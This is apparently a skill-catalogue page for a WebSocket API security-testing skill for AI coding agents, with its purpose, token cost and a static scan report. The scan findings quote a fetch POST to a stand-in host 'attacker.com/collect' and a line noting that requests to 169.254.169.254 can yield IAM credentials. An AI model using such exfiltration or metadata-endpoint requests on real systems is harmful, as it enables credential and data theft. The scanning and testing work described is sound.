testing-websocket-api-security

testing-websocket-api-security is a skill for Claude Code, Codex from Njones17/AI-agent-master-cyber-skills-list. It costs 117 tokens per session (4,049 once invoked), scanned B, original, no licence file.

A security testing method for WebSocket APIs, which keep a live two-way connection between a client and server. It checks authentication, message handling, input validation, and information exposure.

In plain words
What is it for?
Use it to assess WebSocket upgrades, cross-site WebSocket attacks, message injection, flooding, validation, and data leakage.
Why use it?
WebSocket flaws can let unauthorised users connect, send harmful messages, overload a service, or read data they should not receive.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade B, and why

testing-websocket-api-security scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch("https://attacker.com/collect", { method: "POST",

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

One request to 169.254.169.254 can return temporary IAM credentials.
